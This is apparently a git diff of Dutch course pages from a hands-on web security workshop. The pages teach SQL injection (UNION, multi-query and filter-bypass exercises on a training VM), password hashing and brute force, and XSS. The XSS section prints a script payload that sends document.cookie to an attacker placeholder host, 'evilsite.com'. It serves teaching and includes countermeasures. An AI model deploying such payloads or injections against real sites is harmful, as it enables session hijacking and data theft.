</div> <textarea class="question-input" name="answer_sql_fix_query">{{answers.answer_sql_fix_query.string}}</textarea>
</div>
<p>Open de <p>Open de <span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries (queries gescheiden door een ; ).</p>
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries
(queries gescheiden door een ; ).</p>
<div class="question"> <div class="question">
<span class="question-string">Met welke <span class="question-string">Met welke <i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span> {% include "points.html" with points=answers.answer_sql_bob_millionaire.points max="10" %}
</div> <input class="question-input" name="answer_sql_bob_millionaire" value="{{answers.answer_sql_bob_millionaire.string}}"></input>
</div>
<img src="/static/img/bank_schema.png"> <img src="/static/img/bank_schema.png">
<h2>Webshop</h2> <h2>Webshop</h2>
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de <p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de webshop van Leaky's. Gebruik hiervoor de link <span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
webshop van Leaky's. Gebruik hiervoor de link
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
<p>Je kan de broncode vinden op: <p>Je kan de broncode vinden op: <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62</a>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a>
</p>
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare <p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare quotejes om de query aan te passen.</p>
quotejes om de query aan te passen.</p>
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p> <p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit <p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit de database!</p>
de database!</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.</p>
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.
</p>
<img src="/static/img/webshop_schema.png"> <img src="/static/img/webshop_schema.png">
<div class="question"> <div class="question">
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en <span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en 4)</span>
4) {% include "points.html" with points=answers.answer_sql_usernames_passwords_webshop.points max="5" %}
</span> <textarea class="question-input" name="answer_sql_usernames_passwords_webshop">{{answers.answer_sql_usernames_passwords_webshop.string}}</textarea>
</div> </div>
<div class="question"> <div class="question">
<span class="question-string">Bekijk de <span class="question-string">Met welke URL heb je het wachtwoord van Marco achterhaald?</span>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span> {% include "points.html" with points=answers.answer_sql_url_marco_password.points max="10" %}
</div> <input class="question-input" type="url" name="answer_sql_url_marco_password" value="{{answers.answer_sql_url_marco_password.string}}"></input>
</div>
<p>Open de pagina <div class="question">
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit <span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
de invoer gefilterd.</p> {% include "points.html" with points=answers.answer_sql_fix_injection_webshop.points max="15" %}
<textarea class="question-input" name="answer_sql_fix_injection_webshop">{{answers.answer_sql_fix_injection_webshop.string}}</textarea>
</div>
<p class="hint"> <p>Open de pagina <span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit de invoer gefilterd.</p>
<strong>Hint:</strong> SELSELECTECT</p>
<div class="question"> <p class="hint"><strong>Hint:</strong> SELSELECTECT</p>
<div class="question">
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span> <span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
</div> {% include "points.html" with points=answers.answer_sql_url_marco_replace_password.points max="5" %}
<input class="question-input" type="url" name="answer_sql_url_marco_replace_password" value="{{answers.answer_sql_url_marco_replace_password.string}}"></input>
</div>
<h2>Wereldwijs</h2> <h2>Wereldwijs</h2>
<p>Ga in de VM naar de <p>Ga in de VM naar de <span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p> <p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
<div class="question">
<span class="question-string">Wat is het onderwerp van de geheime pagina?</span>
{% include "points.html" with points=answers.answer_sql_wereldwijs_title.points max="5" %}
<input class="question-input" name="answer_sql_wereldwijs_title" value="{{answers.answer_sql_wereldwijs_title.string}}"></input>
</div>
<div class="question">
<span class="question-string">Met welke URL heb je de website de geheime pagina laten tonen?</span>
{% include "points.html" with points=answers.answer_sql_wereldwijs_url.points max="10" %}
<textarea class="question-input" type="url" name="answer_sql_wereldwijs_url">{{answers.answer_sql_wereldwijs_url.string}}</textarea>
</div>
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
{% endblock %} {% endblock %}
-32
View File
@@ -1,32 +0,0 @@
{% extends 'base.html' %}{% block content %}
<h1>Virtuele machine</h1>
<p>Tijdens deze cursus gaan we hacken leren door het te doen. Helaas voor ons zijn de meeste bedrijfsnetwerken zeer pinnig op
verdachte hackactiviteiten. Om te voorkomen dat iedereen meteen in quarantaine wordt gezet of boze systeembeheerders achter
zich aan krijgt bieden we een VM aan waarmee we lokaal het hacken kunnen oefenen</p>
<a href="/security-vm.zip" style="font-size: x-large; text-align: center; display:block;margin:1em;">Download hier de VM</a>
<p>Als de VM opstart krijg je een IP adres te zien, als je hier heen gaat kom je bij de sites uit die we voor de opdrachten
gaan gebruiken.</p>
<img src="/static/img/vm.png" class="screenshot center-block" style="width: 70%">
<p>Om de VM te starten is het nodig om VMWare te installeren. Dit is gratis te downloaden voor
<a href="https://www.vmware.com/go/tryplayer" target="_blank">Windows</a> en voor
<a href="https://www.vmware.com/go/tryfusion" target="_blank">MacOS</a>
</p>
<h2>Troubleshooting</h2>
<p>Soms lukt het niet om met de browser de opdrachtensites te bekijken, probeer dan één van de volgende oplossingen:</p>
<ul>
<li>Controleer in Windows of je niet de VMWare netwerkverbingen hebt gedisabled</li>
<li>Probeer in de instellingen van de VM te switchen tussen NAT/bridged</li>
<li>Maak een
<a href="https://www.ubuntu.com/download/desktop" target="_blank">Ubuntu</a> VM en ga in deze VM met Firefox naar het IP adres</li>
</ul>
{% endblock %}
+68 -73
View File
@@ -1,94 +1,76 @@
{% extends 'base.html' %} {% block content %} {% extends "base.html" %}
<h1>Wachtwoorden</h1> {% block content %}
<img src="/static/img/password.png" class="center-block"> <h1>Wachtwoorden</h1>
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk <img src="/static/img/password.png" class="center-block">
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te
<b>hashen</b>.</p>
<h3>Hashfunctie</h3> <p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben twee weken geleden gezien dat het niet onmogelijk is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te <b>hashen</b>.
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige <h3>Hashfunctie</h3>
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 > <p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar <input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;">
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen > md5 >
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk <input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op
dezelfde hash (brute-force).</p>
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker <p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk dat eigenlijk de enige praktische optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op dezelfde hash (brute-force).</p>
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij
hetzelfde wachtwoord ingevuld!</p>
<h3>Rainbow tables</h3> <p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij hetzelfde wachtwoord ingevuld!</p>
<p>Zo moeilijk als het is om een hash terug te <h3>Rainbow tables</h3>
<i>rekenen</i>, zo makkelijk is het om een hash terug
<i>
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a>
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze
aanval:
</p>
<h3>Salt</h3> <p>Zo moeilijk als het is om een hash terug te <i>rekenen</i>, zo makkelijk is het om een hash terug <i><a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a></i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze aanval:</p>
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%"> <h3>Salt</h3>
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
<h1>Opdrachten</h1> <img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
<div class="question"> <h1>Opdrachten</h1>
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had
deze gebruiker?</span>
</div>
<div class="question"> <div class="question">
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had deze gebruiker?</span>
{% include "points.html" with points=answers.answer_password_crack.points max="5" %}
<input class="question-input" name="answer_password_crack" value="{{answers.answer_password_crack.string}}">
</div>
<div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span> <span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
</div> {% include "points.html" with points=answers.answer_password_crack_prevent.points max="15" %}
<textarea class="question-input" name="answer_password_crack_prevent">{{answers.answer_password_crack_prevent.string}}</textarea>
</div>
<h2>Nieuws</h2> <h2>Nieuws</h2>
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden <p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de tabel inzien.</p>
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de
tabel inzien.</p>
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers <p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers een veelgebruikt wachtwoord.</p>
een veelgebruikt wachtwoord.</p>
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p> <p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p> <p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p> <p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
<div class="question"> <div class="question">
<span class="question-string">Wat is het wachtwoord van Pete?</span> <span class="question-string">Wat is het wachtwoord van Pete?</span>
</div> {% include "points.html" with points=answers.answer_password_pete.points max="5" %}
<input class="question-input" name="answer_password_pete" value="{{answers.answer_password_pete.string}}">
</div>
<div class="question"> <div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span> <span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
</div> {% include "points.html" with points=answers.answer_password_brute_force_prevent.points max="15" %}
<textarea class="question-input" name="answer_password_brute_force_prevent">{{answers.answer_password_brute_force_prevent.string}}</textarea>
</div>
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier <p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de site wordt feestelijk weer geopend.</p>
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de
site wordt feestelijk weer geopend.</p>
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een <p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een kort fragment van een logbestand terugvinden:</p>
kort fragment van een logbestand terugvinden:</p>
<code class="center-block"> <code class="center-block">
...<br> ...<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br> 2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br> 2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
@@ -98,16 +80,28 @@
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br> 2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
</code> </code>
<div class="question"> <div class="question">
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval <span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval te voorkomen.</span>
te voorkomen.</span> {% include "points.html" with points=answers.answer_password_brute_force_login.points max="10" %}
</div> <textarea class="question-input" name="answer_password_brute_force_login">{{answers.answer_password_brute_force_login.string}}</textarea>
</div>
<img src="/static/img/password2.jpg" class="center-block"> <img src="/static/img/password2.jpg" class="center-block">
<h2>Project</h2>
<p>Open een eigen PHP project waarin je wachtwoorden van gebruikers opslaat. Dit mag ook een project zijn wat je op school in een project hebt gemaakt.</p>
<p>Sla je de wachtwoorden van gebruikers op een veilige manier op?</p>
<div class="question">
<span class="question-string">Copy-paste het stukje PHP code waarmee je wachtwoorden opslaat en leg uit welke technieken je hebt gebruikt om dit veilig te doen.</span>
{% include "points.html" with points=answers.answer_password_project.points max="15" %}
<textarea class="question-input" name="answer_password_project">{{answers.answer_password_project.string}}</textarea>
</div>
<script> <script>
function utf8_encode(argString) { function utf8_encode(argString) {
// discuss at: http://phpjs.org/functions/utf8_encode/ // discuss at: http://phpjs.org/functions/utf8_encode/
// original by: Webtoolkit.info (http://www.webtoolkit.info/) // original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
@@ -176,8 +170,8 @@
} }
return utftext; return utftext;
} }
function md5(str) { function md5(str) {
// discuss at: http://phpjs.org/functions/md5/ // discuss at: http://phpjs.org/functions/md5/
// original by: Webtoolkit.info (http://www.webtoolkit.info/) // original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Michael White (http://getsprink.com) // improved by: Michael White (http://getsprink.com)
@@ -388,5 +382,6 @@
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d); var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
return temp.toLowerCase(); return temp.toLowerCase();
} }
</script> {% endblock %} </script>
{% endblock %}
+128 -163
View File
@@ -1,247 +1,212 @@
{% extends 'base.html' %} {% block content %} {% extends "base.html" %}
<style>
.screenshot {
box-shadow: 0 0 15px #888;
}
figure { {% block content %}
<style>
.screenshot {
box-shadow: 0 0 15px #888;
}
figure {
float: right; float: right;
width: 30%; width: 30%;
} }
figure img {
figure img {} }
figcaption {
figcaption {
margin-top: 10px; margin-top: 10px;
font-size: smaller; font-size: smaller;
color: gray; color: gray;
text-align: center; text-align: center;
} }
</style> </style>
<h1>Cross-site Scripting</h1> <h1>Cross-site Scripting</h1>
<figure> <figure>
<img src="/static/img/rabobank.png" class="screenshot"> <img src="/static/img/rabobank.png" class="screenshot">
<figcaption>Iemand heeft <figcaption>Iemand heeft <i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption> </figure>
</figure>
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als <p>Deze week gaan we kijken naar cross-site scripting, op het web zie je dit vaak afgekort als <b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de &lt;script&gt; tag kan toevoegen is er sprake van een XSS aanval.</p>
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de &lt;script&gt;
tag kan toevoegen is er sprake van een XSS aanval.</p>
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login <p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
<h3>Reflected</h3> <h3>Reflected</h3>
<figure> <figure>
<img class="screenshot" src="/static/img/zoekterm.png"> <img class="screenshot" src="/static/img/zoekterm.png">
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption> <figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
</figure> </figure>
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets <p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als op de webpagina zelf.</p>
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
op de webpagina zelf.</p>
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren <p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken. Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet. The perfect crime!</p>
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
The perfect crime!</p>
<h3>Stored</h3> <h3>Stored</h3>
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een <p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's). En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n 90% van alle websites). Als de site niet goed beveiligd is kan je in de database &lt;script&gt; tags met Javascript opslaan die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
90% van alle websites). Als de site niet goed beveiligd is kan je in de database &lt;script&gt; tags met Javascript opslaan
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te <p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
<h3>Aanvallen</h3> <h3>Aanvallen</h3>
<h4>HTML toevoegen</h4> <h4>HTML toevoegen</h4>
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan <p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan een &lt;form&gt; die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
een &lt;form&gt; die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
<h4>Javascript toevoegen</h4> <h4>Javascript toevoegen</h4>
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele &lt;script&gt; tag toe te <p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele &lt;script&gt; tag toe te voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
<p> <p><code>&lt;script&gt;document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;&lt;/script&gt;</code></p>
<code>&lt;script&gt;document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;&lt;/script&gt;</code>
</p>
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site <p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
<h3>Countermeasures</h3> <h3>Countermeasures</h3>
<p>De belangrijkste regel bij websecurity is: <p>De belangrijkste regel bij websecurity is: <b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die je weer weergeeft op de pagina te <b>escapen</b>.</p>
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
je weer weergeeft op de pagina te
<b>escapen</b>.</p>
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. <p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. <code>&quot;</code> wordt dan bijvoorbeeld <code>&amp;quot;</code> en <code>&lt;</code> wordt <code>&amp;lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
<code>&quot;</code> wordt dan bijvoorbeeld
<code>&amp;quot;</code> en
<code>&lt;</code> wordt
<code>&amp;lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p> <p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
<p><code>&lt;script&gt;<b>gebruikersinvoer hier</b>&lt;/script&gt;</p></code>
<code>&lt;script&gt;<b>gebruikersinvoer hier</b>&lt;/script&gt;</p></code> <p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een bepaalde waarde te zetten.</p>
